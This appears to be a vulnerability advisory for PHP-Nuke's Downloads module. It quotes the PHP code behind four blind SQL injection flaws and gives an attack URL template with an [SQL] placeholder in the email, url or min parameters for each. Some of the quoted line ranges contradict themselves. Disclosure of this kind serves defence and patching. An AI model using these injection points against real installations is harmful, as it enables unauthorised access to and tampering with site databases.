- --- 1. Sql Injection ---
1.0
Sql Injection exists in function Add().

- --- line 301-310 ---
$title = stripslashes(check_html(FixQuotes($title, "nohtml")));
$url = stripslashes($url);
$description = stripslashes(FixQuotes($description));
$auth_name = stripslashes($auth_name);
$email = stripslashes($email);
$filesize = ereg_replace(".","",$filesize);
$filesize = ereg_replace(",","",$filesize);
$cat[0] = intval($cat[0]);
$cat[1] = intval($cat[1]);
$db->sql_query("INSERT INTO ".$prefix."_downloads_newdownload VALUES (NULL, '$cat[0]', '$cat[1]',
'$title', '$url', '$description', '$auth_name', '$email', '$submitter', '$filesize', '$version', '$homepage')");
- --- line 301-310 ---

Varible $email, $url etc.
But this sql injection is INSERT. So url is.

http://[HOST]/[DIR]/modules.php?name=Downloads&d_op=Add&title=cXIb8O3&url=ma&description=POLSKA&emai
l=',[SQL]

But why dosen't exists error? Because that is blind sql injection and you can not see error.

1.1
Sql Injection exist in function modifydownloadrequestS().

- --- line 2098-2014 ---
$title = stripslashes(check_html($title, "nohtml"));
$url = stripslashes($url);
$description = stripslashes($description);
$lid = intval($lid);
$cat[0] = intval($cat[0]);
$cat[1] = intval($cat[1]);
$db->sql_query("insert into ".$prefix."_downloads_modrequest values (NULL, '$lid', '$cat[0]',
'$cat[1]', '$title', '$url', '$description', '$ratinguser', '0', '$auth_name', '$email', '$filesize', '$version',
'$homepage')");
- --- line 2098-2014 ---

And varible $email, $url etc.
This is Blind Sql Injection.
So url is:

http://[HOST]/[DIR]/modules.php?name=Downloads&d_op=modifydownloadrequestS&url=',[SQL]


1.2
This SQL Injection is non critical and blind. Insert in viewsdownload() function.


855# if (!isset($min)) $min=0;
..
927# $result=$db->sql_query("SELECT lid, url, title, description, date, hits, downloadratingsummary,
totalvotes, totalcomments, filesize, version, homepage FROM ".$prefix."_downloads_downloads WHERE sid='$sid'
order by $orderby limit $min,$perpage");


and url is

http://[HOST]/[DIR]/modules.php?name=Downloads&d_op=viewsdownload&min=[SQL]

so sql query is:

- ---
SELECT lid, url, title, description, date, hits, downloadratingsummary, totalvotes, totalcomments, filesize, version,
homepage FROM nuke_downloads_downloads WHERE sid='0' order by title ASC limit [SQL],10
- ---

1.3
This SQL Injection is non critical and blind. Insert in search() function.

- --- line 1257-1171 ---
if (!isset($min)) $min=0;
if (!isset($max)) $max=$min+$downloadsresults;
if(isset($orderby)) {
$orderby = convertorderbyin($orderby);
} else {
$orderby = "title ASC";
}
if ($show!="") {
$downloadsresults = $show;
} else {
$show=$downloadsresults;
}
$query = check_html($query, nohtml);
$query = addslashes($query);
$result = $db->sql_query("SELECT lid, cid, title, url, description, date, hits, downloadratingsummary,
totalvotes, totalcomments, filesize, version, homepage FROM ".$prefix."_downloads_downloads WHERE title LIKE
'%$query%' OR description LIKE '%$query%' ORDER BY $orderby LIMIT $min,$downloadsresults");
- --- line 1257-1171 ---

Varible $min.

http://[HOST]/[DIR]/modules.php?name=Downloads&d_op=search&min=[SQL]

And SQL Query is

- ---
SELECT lid, cid, title, url, description, date, hits, downloadratingsummary, totalvotes, totalcomments, filesize,
version, homepage FROM nuke_downloads_downloads WHERE title LIKE '%%' OR description LIKE '%%' ORDER BY title ASC LIMIT
[SQL],10
- ---

In all sql injection you don't can see errors. Why? Because that is security in phpnuke ;]
